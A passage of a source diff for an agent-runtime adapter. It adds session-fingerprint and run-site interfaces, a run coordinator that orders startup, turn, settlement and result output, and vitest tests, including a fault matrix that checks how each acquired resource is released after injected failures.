+   * Run-start idle sweep. It removes each stale key synchronously, so
+   * `buildRuntime` never reuses an expired entry. It returns a promise the
+   * caller can await so the sweep completes before the run reads the cache.
+   */
+  evictIdle(now: number): void | Promise<void>;
+}
+
+/**
+ * A run site. The host site and the sandbox site differ in what they place,
+ * what transport they start, and what their store saves.
+ */
+export interface RunSite<TReuse extends RunSiteReuseCandidate = RunSiteReuseCandidate> {
+  readonly kind: RunSiteKind;
+  /** Synchronous. Runs before the fingerprint build. */
+  plan(context: AcpRunContext): SitePlan;
+  placeWorkspace(context: AcpRunContext): Promise<PlacedWorkspace>;
+  startTransport(context: AcpRunContext): Promise<RunSiteTransport>;
+  reuse(): SessionReuseStore<TReuse>;
+  /** Names the concrete candidate this site's store can save. */
+  reuseCandidate(resources: ReadyRunResources): TReuse;
+  syncBack(context: AcpRunContext): Promise<void>;
+}
+
+// ---------------------------------------------------------------------------
+// Identity, launch environment, and run context
+// ---------------------------------------------------------------------------
+
+export type AcpxRunMode = "persistent" | "oneshot";
+export type AcpxPermissionMode = "approve-all" | "approve-reads" | "deny-all";
+export type AcpxNonInteractivePermissions = "deny" | "fail";
+
+/** One MCP server, in the shape the fingerprint reads. */
+export interface McpServerIdentity {
+  readonly name: string;
+  readonly url: string;
+  readonly connectionId: string;
+}
+
+/** The Paperclip Claude settings the fingerprint reads. */
+export interface PaperclipClaudeSettingsIdentity {
+  readonly allow: readonly string[];
+  readonly additionalDirectories: readonly string[];
+  readonly defaultMode: string;
+}
+
+/**
+ * The 17 fields the session fingerprint hashes. Company, agent, and task
+ * identifiers are NOT here; they scope the outer session key only (see
+ * `SessionKeyIdentity`). A change to any field here invalidates a warm handle
+ * or a resumable session and forces a fresh launch.
+ */
+export interface SessionFingerprintIdentity {
+  readonly acpxAgent: string;
+  readonly agentCommand: string;
+  readonly cwd: string;
+  readonly mode: AcpxRunMode;
+  readonly permissionMode: AcpxPermissionMode;
+  readonly nonInteractivePermissions: AcpxNonInteractivePermissions;
+  readonly requestedModel: string;
+  readonly requestedThinkingEffort: string;
+  readonly fastMode: boolean;
+  readonly remoteExecutionIdentity: Record<string, unknown> | null;
+  readonly additionalSourcesIdentity: Record<string, unknown>;
+  readonly skillsIdentity: Record<string, unknown>;
+  readonly skillPromptInstructions: string;
+  readonly paperclipClaudeSettings: PaperclipClaudeSettingsIdentity | null;
+  readonly mcpServers: readonly McpServerIdentity[];
+  readonly secretManifestHash: string;
+  readonly adapterEnvHash: string;
+}
+
+/**
+ * The company, agent, and task parts of the session key. The key form is
+ * `paperclip:companyId:agentId:taskKey:fingerprint`. These parts stay out of
+ * the fingerprint hash.
+ */
+export interface SessionKeyIdentity {
+  readonly companyId: string;
+  readonly agentId: string;
+  readonly taskKey: string;
+}
+
+declare const RUN_SCOPED_CONTRIBUTION: unique symbol;
+declare const LAUNCH_ENVIRONMENT: unique symbol;
+
+/**
+ * A launch-environment contribution that lives for one run only. The run API
+ * key and every bridge token are run-scoped. The brand makes this type
+ * non-transferable: no reuse payload type can hold it (Amendment B).
+ */
+export interface RunScopedContribution {
+  readonly scope: "run";
+  readonly env: Record<string, string>;
+  readonly [RUN_SCOPED_CONTRIBUTION]: true;
+}
+
+/**
+ * A launch-environment contribution that lives for the whole session. The Codex
+ * auth copy-back material is session-scoped.
+ */
+export interface SessionScopedContribution {
+  readonly scope: "session";
+  readonly env: Record<string, string>;
+}
+
+export type LaunchEnvironmentContribution = RunScopedContribution | SessionScopedContribution;
+
+/**
+ * The finalized launch environment. Only `finalizeLaunchEnvironment()`
+ * (Phase 17) produces this brand. No reuse payload type can hold it.
+ */
+export interface LaunchEnvironment {
+  readonly [LAUNCH_ENVIRONMENT]: true;
+  readonly env: Readonly<Record<string, string>>;
+}
+
+/**
+ * The context the coordinator threads through the run. The site reads the
+ * execution target for its effective capabilities.
+ */
+export interface AcpRunContext {
+  readonly executionTarget: AdapterExecutionTarget;
+  readonly fingerprintIdentity: SessionFingerprintIdentity;
+  readonly keyIdentity: SessionKeyIdentity;
+  readonly fingerprint: string;
+  readonly sessionKey: string;
+  readonly launchEnvironment: LaunchEnvironment;
+}
diff --git a/packages/adapter-utils/src/acpx-engine/run-coordinator.test.ts b/packages/adapter-utils/src/acpx-engine/run-coordinator.test.ts
new file mode 100644
index 00000000000..6818364b766
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-coordinator.test.ts
@@ -0,0 +1,184 @@
+import { describe, expect, it } from "vitest";
+import { runAttempt, type RunPlan, type SettlementReason } from "./run-coordinator.js";
+import { createRunResourceLedger } from "./run-resource-ledger.js";
+import type {
+  AcquiredRunResources,
+  PreTurnFailedCause,
+  ReadyRunResources,
+  StartupReady,
+  StartupResult,
+  TurnCompletion,
+} from "./run-contracts.js";
+
+// The coordinator owns the run routing table. These tests drive it with fakes
+// for the four steps (startup, turn, settle, reproduce) and assert the order and
+// the routing, never the engine's real run state.
+
+const readyResources = {} as ReadyRunResources;
+
+function readyStartup(): StartupReady {
+  return { kind: "ready", resources: readyResources, context: {} as StartupReady["context"] };
+}
+
+function preTurnCause(): PreTurnFailedCause {
+  return { kind: "pre_turn_failed", phase: "handshake", error: new Error("handshake boom") };
+}
+
+function finalizedTurn(): TurnCompletion {
+  return { kind: "finalized" };
+}
+
+// A minimal plan whose steps push their names into `order`, so a test reads the
+// exact sequence the coordinator ran.
+function makePlan(
+  order: string[],
+  overrides: Partial<RunPlan<string>> & { ledger?: AcquiredRunResources } = {},
+): RunPlan<string> {
+  const ledger = overrides.ledger ?? createRunResourceLedger();
+  return {
+    ledger,
+    startup: overrides.startup ?? (async (): Promise<StartupResult> => {
+      order.push("startup");
+      return readyStartup();
+    }),
+    rollbackStartup: overrides.rollbackStartup ?? ((consumed) => {
+      order.push(`rollback:${consumed.entries().length}`);
+    }),
+    recordDisposition: overrides.recordDisposition ?? ((report) => {
+      order.push(`disposition:${report.records.map((r) => `${r.id}=${r.disposition}`).join(",")}`);
+    }),
+    runTurn: overrides.runTurn ?? (async (): Promise<TurnCompletion> => {
+      order.push("turn");
+      return finalizedTurn();
+    }),
+    settle: overrides.settle ?? (async (reason: SettlementReason) => {
+      order.push(`settle:${reason.kind}`);
+    }),
+    reproduceResult: overrides.reproduceResult ?? (async (outcome) => {
+      order.push(`reproduce:${outcome.kind}`);
+      return "result";
+    }),
+  };
+}
+
+describe("ACPX run coordinator", () => {
+  it("test_startup_throw_replays_startup_rollback_entries_and_rethrows", async () => {
+    const order: string[] = [];
+    // Fill a partial ledger with two startup_rollback entries that record their
+    // release order when the rollback replays them.
+    const ledger = createRunResourceLedger();
+    const released: string[] = [];
+    ledger.register({
+      id: "staged_runtime",
+      payload: {
+        stagedRuntime: {} as never,
+        disposeStaged: async () => {
+          released.push("staged_runtime");
+        },
+      },
+      scope: "startup_rollback",
+    });
+    ledger.register({
+      id: "control_bridge",
+      payload: { stop: async () => { released.push("control_bridge"); } } as never,
+      scope: "startup_rollback",
+    });
+
+    const boom = new Error("build boom");
+    const plan = makePlan(order, {
+      ledger,
+      startup: async (): Promise<StartupResult> => {
+        order.push("startup");
+        throw boom;
+      },
+      // Replay every claimed entry through its own release, newest first.
+      rollbackStartup: async (consumed) => {
+        for (const entry of [...consumed.entries()].reverse()) {
+          if (entry.id === "staged_runtime") {
+            await (entry.payload as { disposeStaged: () => Promise<void> }).disposeStaged();
+          } else if (entry.id === "control_bridge") {
+            await (entry.payload as { stop: () => Promise<void> }).stop();
+          }
+        }
+        order.push("rollback");
+      },
+    });
+
+    // The coordinator rethrows the original startup error.
+    await expect(runAttempt(plan)).rejects.toBe(boom);
+    // It replayed the startup_rollback entries through the partial ledger...
+    expect(released).toEqual(["control_bridge", "staged_runtime"]);
+    // ...recorded a disposition report that marks each claimed entry finalized...
+    expect(order).toEqual([
+      "startup",
+      "rollback",
+      "disposition:staged_runtime=finalized,control_bridge=finalized",
+    ]);
+    // ...and never ran the turn or the settlement.
+    expect(order).not.toContain("turn");
+    expect(order.some((step) => step.startsWith("settle"))).toBe(false);
+  });
+
+  it("test_settle_path_returns_error_result_after_settlement", async () => {
+    const order: string[] = [];
+    const cause = preTurnCause();
+    const plan = makePlan(order, {
+      startup: async (): Promise<StartupResult> => {
+        order.push("startup");
+        return { kind: "settle", cause, resources: createRunResourceLedger().takeForSettlement() };
+      },
+      settle: async (reason) => {
+        expect(reason.kind).toBe("pre_turn");
+        order.push("settle");
+      },
+      reproduceResult: async (outcome) => {
+        expect(outcome.kind).toBe("pre_turn");
+        order.push("reproduce");
+        return "error-result";
+      },
+    });
+
+    const result = await runAttempt(plan);
+    expect(result).toBe("error-result");
+    // The settle path never runs the turn; it settles first, then reproduces.
+    expect(order).toEqual(["startup", "settle", "reproduce"]);
+  });
+
+  it("test_ready_path_runs_turn_then_settles_then_reproduces_result", async () => {
+    const order: string[] = [];
+    const plan = makePlan(order);
+
+    const result = await runAttempt(plan);
+    expect(result).toBe("result");
+    // The ready path runs the turn, settles, then reproduces — in that order.
+    expect(order).toEqual(["startup", "turn", "settle:turn", "reproduce:turn"]);
+  });
+
+  it("test_coordinator_has_no_catch_around_the_turn", async () => {
+    // `runTurn` is contracted never to reject. This test proves the coordinator
+    // holds no catch around the turn: an (illegal) turn rejection propagates out
+    // of `runAttempt` unchanged, and neither settlement nor result reproduction
+    // runs. A catch around the turn would swallow the rejection and route it into
+    // settlement, so this rejection-propagation is the structural proof.
+    const order: string[] = [];
+    const boom = new Error("turn must never reject");
+    const settleCalls: number[] = [];
+    const reproduceCalls: number[] = [];
+    const plan = makePlan(order, {
+      runTurn: async (): Promise<TurnCompletion> => {
+        throw boom;
+      },
+      settle: async () => {
+        settleCalls.push(1);
+      },
+      reproduceResult: async () => {
+        reproduceCalls.push(1);
+        return "unreachable";
+      },
+    });
+
+    await expect(runAttempt(plan)).rejects.toBe(boom);
+    expect(settleCalls).toHaveLength(0);
+    expect(reproduceCalls).toHaveLength(0);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-coordinator.ts b/packages/adapter-utils/src/acpx-engine/run-coordinator.ts
new file mode 100644
index 00000000000..487d2e1e6b2
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-coordinator.ts
@@ -0,0 +1,125 @@
+// The run coordinator.
+//
+// One `run()` coordinator owns the attempt. It sequences four steps: startup,
+// turn, settlement, and result reproduction. It holds the routing table as
+// data:
+//
+//   * A build failure or a partial-bridge failure throws from startup. The
+//     coordinator's one catch replays the `startup_rollback` entries through the
+//     partial ledger, records the disposition report, and rethrows.
+//   * A runtime-create, handshake, missing-handle, or configuration failure
+//     produces a `settle` result. The coordinator settles the resources, then
+//     reproduces the error result.
+//   * Every other startup outcome produces a `ready` result. The coordinator
+//     runs the turn, settles the resources, then reproduces the turn result.
+//
+// The coordinator has no catch around the turn: the turn never rejects and
+// returns a typed `TurnCompletion` (Phase 21). The external result is reproduced
+// AFTER settlement, so a caller never observes a result before the run releases
+// its resources.
+
+import type {
+  AcquiredRunResources,
+  ConsumedRunResources,
+  PreTurnFailedCause,
+  ResourceDisposition,
+  ResourceId,
+  StartupReady,
+  StartupResult,
+  TurnCompletion,
+} from "./run-contracts.js";
+
+/** One resource's final disposition, as the coordinator or settlement records it. */
+export interface ResourceDispositionRecord {
+  readonly id: ResourceId;
+  readonly disposition: ResourceDisposition;
+}
+
+/** The per-resource disposition report the coordinator records at each end. */
+export interface SettlementDispositionReport {
+  readonly records: readonly ResourceDispositionRecord[];
+}
+
+/** The cause the coordinator hands to settlement. A clean turn carries no cause. */
+export type SettlementReason =
+  | { readonly kind: "pre_turn"; readonly cause: PreTurnFailedCause }
+  | { readonly kind: "turn"; readonly completion: TurnCompletion };
+
+/** The outcome the coordinator hands to result reproduction. */
+export type ReproducibleOutcome = SettlementReason;
+
+/**
+ * The four steps the coordinator sequences, plus the run ledger. The engine
+ * supplies each step; the coordinator owns only the order and the startup
+ * rollback. This keeps the coordinator free of the engine's private run state.
+ */
+export interface RunPlan<TResult> {
+  /** The one run ledger for the attempt. The coordinator creates it (see `runAttempt`). */
+  readonly ledger: AcquiredRunResources;
+  /**
+   * Run the startup sequence. It returns a `ready` or a `settle` result, or it
+   * throws on a build failure or a partial-bridge failure.
+   */
+  startup(): Promise<StartupResult>;
+  /**
+   * Replay the `startup_rollback` entries the partial ledger carries. The
+   * coordinator calls it only on a startup throw, with the claimed entries.
+   */
+  rollbackStartup(consumed: ConsumedRunResources): Promise<void> | void;
+  /** Record the per-resource disposition report at the end of the run. */
+  recordDisposition(report: SettlementDispositionReport): void;
+  /** Run the turn against the ready resources. It never rejects. */
+  runTurn(ready: StartupReady): Promise<TurnCompletion>;
+  /**
+   * Settle the run's resources for the given reason. The one cleanup owner. A
+   * synchronous return adds no awaited boundary, so a step that already settled
+   * inline keeps the caller's timing unchanged.
+   */
+  settle(reason: SettlementReason): void | Promise<void>;
+  /** Reproduce the external result after settlement. */
+  reproduceResult(outcome: ReproducibleOutcome): TResult | Promise<TResult>;
+}
+
+/**
+ * Run the attempt through the routing table. The coordinator is the one owner of
+ * the startup-to-settlement order.
+ */
+export async function runAttempt<TResult>(plan: RunPlan<TResult>): Promise<TResult> {
+  let startupResult: StartupResult;
+  try {
+    startupResult = await plan.startup();
+  } catch (startupError) {
+    // The coordinator's only catch wraps startup. A build failure and a
+    // partial-bridge failure reach here. Claim the partial ledger, replay its
+    // `startup_rollback` entries, record the disposition report (each entry the
+    // rollback released is `finalized`), and rethrow the original error.
+    const consumed = plan.ledger.takeForSettlement();
+    await plan.rollbackStartup(consumed);
+    plan.recordDisposition(finalizedReport(consumed));
+    throw startupError;
+  }
+
+  if (startupResult.kind === "settle") {
+    // A pre-turn failure after the ledger acquired resources. Settle the
+    // resources, then reproduce the error result AFTER settlement.
+    const reason: SettlementReason = { kind: "pre_turn", cause: startupResult.cause };
+    const settled = plan.settle(reason);
+    if (settled) await settled;
+    return plan.reproduceResult(reason);
+  }
+
+  // The ready path: run the turn, settle, then reproduce the result. There is no
+  // catch around the turn — `runTurn` never rejects.
+  const completion = await plan.runTurn(startupResult);
+  const reason: SettlementReason = { kind: "turn", completion };
+  const settled = plan.settle(reason);
+  if (settled) await settled;
+  return plan.reproduceResult(reason);
+}
+
+/** Build a disposition report that marks every claimed entry `finalized`. */
+function finalizedReport(consumed: ConsumedRunResources): SettlementDispositionReport {
+  return {
+    records: consumed.entries().map((entry) => ({ id: entry.id, disposition: "finalized" as const })),
+  };
+}
diff --git a/packages/adapter-utils/src/acpx-engine/run-fault-matrix.test.ts b/packages/adapter-utils/src/acpx-engine/run-fault-matrix.test.ts
new file mode 100644
index 00000000000..eccb29c3666
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-fault-matrix.test.ts
@@ -0,0 +1,883 @@
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  prepareAdapterExecutionTargetRuntime,
+  startAdapterExecutionTargetPaperclipBridge,
+  startAdapterExecutionTargetProcessSessionBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+import { runChildProcess } from "../server-utils.js";
+
+// The composed fault matrix.
+//
+// Each case drives the whole ACP run and asserts the run's final settlement
+// disposition report. The report is the authority on which resources the run
+// acquired and how each one left the run: `finalized` (the run released it) or
+// `transferred` (the run saved it for reuse). For each case the file asserts:
+//
+//   1. the report keys equal the acquired subset of the six resource ids;
+//   2. each resource carries exactly one disposition;
+//   3. the external result equals the composed baseline for that exit path.
+//
+// The six resource ids are: acp_runtime, staged_runtime, control_bridge,
+// agent_bridge, managed_home, staging_lease. The host lane acquires only
+// acp_runtime; the sandbox lane acquires the staging and transport resources too.
+
+// Wrap the staging seam and both sandbox bridges so a test can stub them without
+// changing behavior for the other tests.
+vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
+  const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
+  return {
+    ...actual,
+    prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
+    startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
+    startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
+  };
+});
+
+import {
+  createAcpxEngineExecutor,
+  type AcpxEngineExecutorOptions,
+} from "./execute.js";
+import { settleAcpRun, type SettlementSteps } from "./settlement-sequence.js";
+import { createRunResourceLedger } from "./run-resource-ledger.js";
+import { LedgerStateError, type ResourceId } from "./run-contracts.js";
+import type { SettlementDispositionReport } from "./run-coordinator.js";
+
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-fault-"));
+  tempRoots.push(root);
+  return root;
+}
+
+afterEach(async () => {
+  await Promise.all(
+    tempRoots.splice(0).map((root) =>
+      fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
+    ),
+  );
+});
+
+function createLocalSandboxRunner() {
+  let counter = 0;
+  return {
+    execute: async (input: {
+      command: string;
+      args?: string[];
+      cwd?: string;
+      env?: Record<string, string>;
+      stdin?: string;
+      timeoutMs?: number;
+      onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+    }) => {
+      counter += 1;
+      const command = input.command === "bash" ? "/bin/bash" : input.command;
+      return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
+        cwd: input.cwd ?? process.cwd(),
+        env: input.env ?? {},
+        stdin: input.stdin,
+        timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+        graceSec: 5,
+        onLog: input.onLog ?? (async () => {}),
+        onSpawn: input.onSpawn
+          ? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
+          : undefined,
+      });
+    },
+  };
+}
+
+const okHandle = {
+  backendSessionId: "backend-session",
+  agentSessionId: "agent-session",
+  runtimeSessionName: "runtime-session",
+};
+
+function completedTurn() {
+  return {
+    events: (async function* () {})(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+function throwingTurn() {
+  return {
+    events: (async function* () {
+      throw new Error("turn upstream boom");
+    })(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+function cancelledTurn() {
+  return {
+    events: (async function* () {})(),
+    result: Promise.resolve({ status: "cancelled", stopReason: "cancelled" }),
+    cancel: async () => {},
+  };
+}
+
+// A runtime whose completed turn keeps the session handshake and turn simple.
+function completedRuntime() {
+  return {
+    ensureSession: async () => okHandle,
+    startTurn: () => completedTurn(),
+    setConfigOption: async () => {},
+    close: async () => {},
+  } as never;
+}
+
+// A context whose only prompt-read field throws when read, so the prompt build
+// fails after the session handshake and before the turn starts.
+function throwingHandoffContext(): Record<string, unknown> {
+  const context: Record<string, unknown> = {};
+  Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+    enumerable: false,
+    get() {
+      throw new Error("prompt build boom");
+    },
+  });
+  return context;
+}
+
+// Stub both sandbox bridges, so a case reaches the post-build window with live
+// handles without running the real bridge transport. `stopRejects` makes the
+// bridge stop reject during settlement.
+function stubBridges(options: { stopRejects?: boolean } = {}) {
+  const stop = options.stopRejects
+    ? vi.fn(async () => {
+        throw new Error("bridge stop boom");
+      })
+    : vi.fn(async () => {});
+  vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
+    return { env: {}, stop } as never;
+  });
+  vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
+    return { agentCommand: null, stop } as never;
+  });
+}
+
+async function setupRemoteSandbox() {
+  const root = await makeTempRoot();
+  const stateDir = path.join(root, "state");
+  const localCwd = path.join(root, "worktree");
+  const remoteCwd = path.join(root, "remote-workspace");
+  await fs.mkdir(localCwd, { recursive: true });
+  await fs.mkdir(remoteCwd, { recursive: true });
+  await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+  const executionTarget = {
+    kind: "remote",
+    transport: "sandbox",
+    providerKey: "fake-plugin",
+    remoteCwd,
+    runner: createLocalSandboxRunner(),
+  };
+  return { root, stateDir, localCwd, remoteCwd, executionTarget };
+}
+
+function remoteArgs(
+  stateDir: string,
+  localCwd: string,
+  executionTarget: unknown,
+  overrides: Record<string, unknown> = {},
+) {
+  return {
+    agent: { id: "agent-1", companyId: "company-1" },
+    runtime: {},
+    config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+    context: {},
+    authToken: "real-run-jwt",
+    executionTarget,
+    onLog: async () => {},
+    onMeta: async () => {},
+    onEvent: async () => {},
+    ...overrides,
+  };
+}
+
+// Seed the managed home through the staging seam and return a per-run copy-back
+// so the run registers the managed_home resource. `teardownRejects` makes the
+// copy-back reject during the settlement sync-back.
+function managedHomeSeed(options: { teardownRejects?: boolean } = {}): AcpxEngineExecutorOptions["prepareRemoteManagedHome"] {
+  return async (input) => {
+    const stagedRuntime = await input.stage([]);
+    return {
+      stagedRuntime,
+      teardown: options.teardownRejects
+        ? async () => {
+            throw new Error("copy-back boom");
+          }
+        : async () => {},
+    };
+  };
+}
+
+// Capture the final settlement disposition report the run records.
+function captureDisposition() {
+  const reports: SettlementDispositionReport[] = [];
+  return {
+    onSettlementDisposition: (report: SettlementDispositionReport) => {
+      reports.push(report);
+    },
+    last(): SettlementDispositionReport | null {
+      return reports.length > 0 ? reports[reports.length - 1]! : null;
+    },
+  };
+}
+
+// The shared per-case assertion. It proves the report keys equal the acquired
+// subset, each resource carries exactly one disposition, and the transferred id
+// (if any) is the only `transferred` entry.
+function assertDispositionReport(
+  report: SettlementDispositionReport | null,
+  expected: { acquired: ResourceId[]; transferred?: ResourceId | null },
+) {
+  expect(report, "the run must record a disposition report").not.toBeNull();
+  const records = report!.records;
+  const ids = records.map((record) => record.id);
+  // Each resource carries exactly one disposition (no duplicate id).
+  expect(ids.length, "no resource is reported twice").toBe(new Set(ids).size);
+  // The report keys equal the acquired subset of the six resource ids.
+  expect(new Set(ids)).toEqual(new Set(expected.acquired));
+  const transferred = expected.transferred ?? null;
+  for (const record of records) {
+    expect(["finalized", "transferred"]).toContain(record.disposition);
+    if (record.id === transferred) {
+      expect(record.disposition, `${record.id} must be transferred`).toBe("transferred");
+    } else {
+      expect(record.disposition, `${record.id} must be finalized`).toBe("finalized");
+    }
+  }
+}
+
+// The sandbox-lane resource set before the runtime is created (staging and
+// transport), and after (adds the runtime). Without a managed-home seed the
+// managed_home resource is absent.
+const SANDBOX_PRE_RUNTIME: ResourceId[] = ["staged_runtime", "staging_lease", "control_bridge", "agent_bridge"];
+const SANDBOX_WITH_RUNTIME: ResourceId[] = [...SANDBOX_PRE_RUNTIME, "acp_runtime"];
+const SANDBOX_WITH_MANAGED_HOME: ResourceId[] = [
+  "staged_runtime",
+  "managed_home",
+  "staging_lease",
+  "control_bridge",
+  "agent_bridge",
+  "acp_runtime",
+];
+
+describe("composed ACPX run fault matrix", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  // Case 1 — a build failure throws before the ledger acquires any resource.
+  it("case_01_build_failure_throws_and_acquires_nothing", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    vi.mocked(prepareAdapterExecutionTargetRuntime).mockImplementationOnce(async () => {
+      throw new Error("staging boom");
+    });
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    await expect(
+      execute({ runId: "fault-build", ...remoteArgs(stateDir, localCwd, executionTarget) } as never),
+    ).rejects.toThrow("staging boom");
+
+    assertDispositionReport(capture.last(), { acquired: [] });
+  });
+
+  // Case 2 — a partial bridge failure throws; the staged entry and the lease are
+  // finalized (the rollback removed the borrowed staged entry).
+  it("case_02_partial_bridge_failure_finalizes_staged_and_lease", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const capture = captureDisposition();
+    const stop = vi.fn(async () => {});
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
+      throw new Error("paperclip bridge boom");
+    });
+    vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
+      async () => ({ agentCommand: null, stop }) as never,
+    );
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    await expect(
+      execute({ runId: "fault-bridge", ...remoteArgs(stateDir, localCwd, executionTarget) } as never),
+    ).rejects.toThrow("paperclip bridge boom");
+
+    assertDispositionReport(capture.last(), { acquired: ["staged_runtime", "staging_lease"] });
+  });
+
+  // Case 3 — a runtime-create failure settles the staging and transport resources.
+  // The runtime never enters the ledger.
+  it("case_03_runtime_create_failure_finalizes_staging_and_transport", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => {
+        throw new Error("createRuntime boom");
+      },
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-create",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("create_runtime");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_PRE_RUNTIME });
+  });
+
+  // Case 4 — a handshake failure closes the runtime; every resource finalizes.
+  it("case_04_handshake_failure_closes_runtime", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => {
+            throw new Error("ensureSession boom");
+          },
+          startTurn: () => completedTurn(),
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-handshake",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("ensure_session");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  });
+
+  // Case 5 — a missing session handle closes the runtime; the result carries a
+  // null clearSession and no errorMeta.
+  it("case_05_missing_handle_closes_runtime_null_error", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => undefined,
+          startTurn: () => completedTurn(),
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-missing-handle",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("ensure_session");
+    expect(result.errorCode).toBe("acpx_runtime_error");
+    expect(result.clearSession).toBeUndefined();
+    expect(result.errorMeta).toBeUndefined();
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  });
+
+  // Case 6 — a configuration failure closes the runtime.
+  it("case_06_configuration_failure_closes_runtime", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          setConfigOption: async () => {
+            throw new Error("setConfigOption boom");
+          },
+          close: async () => {},
+        }) as never,
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-configure",
+      ...remoteArgs(stateDir, localCwd, executionTarget, {
+        config: {
+          agent: "custom",
+          agentCommand: "node ./fake-acp.js",
+          model: "custom-model-x",
+          stateDir,
+          cwd: localCwd,
+        },
+      }),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("configure_session");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
+  });
+
+  // Case 7 — a prompt-build failure fails the turn in the prepare phase.
+  it("case_07_prompt_build_failure_finalizes_every_resource", async () => {
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const capture = captureDisposition();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () => completedRuntime(),
+      onSettlementDisposition: capture.onSettlementDisposition,
+    });
+
+    const result = await execute({
+      runId: "fault-prepare",
+      ...remoteArgs(stateDir, localCwd, executionTarget, { context: throwingHandoffContext() }),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("prepare_turn");
+    assertDispositionReport(capture.last(), { acquired: SANDBOX_WITH_RUNTIME });
